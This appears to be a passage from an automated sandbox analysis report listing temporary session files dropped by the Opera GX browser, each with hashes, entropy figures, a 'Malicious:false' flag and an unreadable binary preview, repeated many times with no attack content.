                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da484.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da5ad.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da5bd.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da5cc.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da5eb.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da60b.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da61a.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da63a.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da659.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da678.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da688.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da697.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da6a7.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da6b7.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da705.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da753.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da772.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
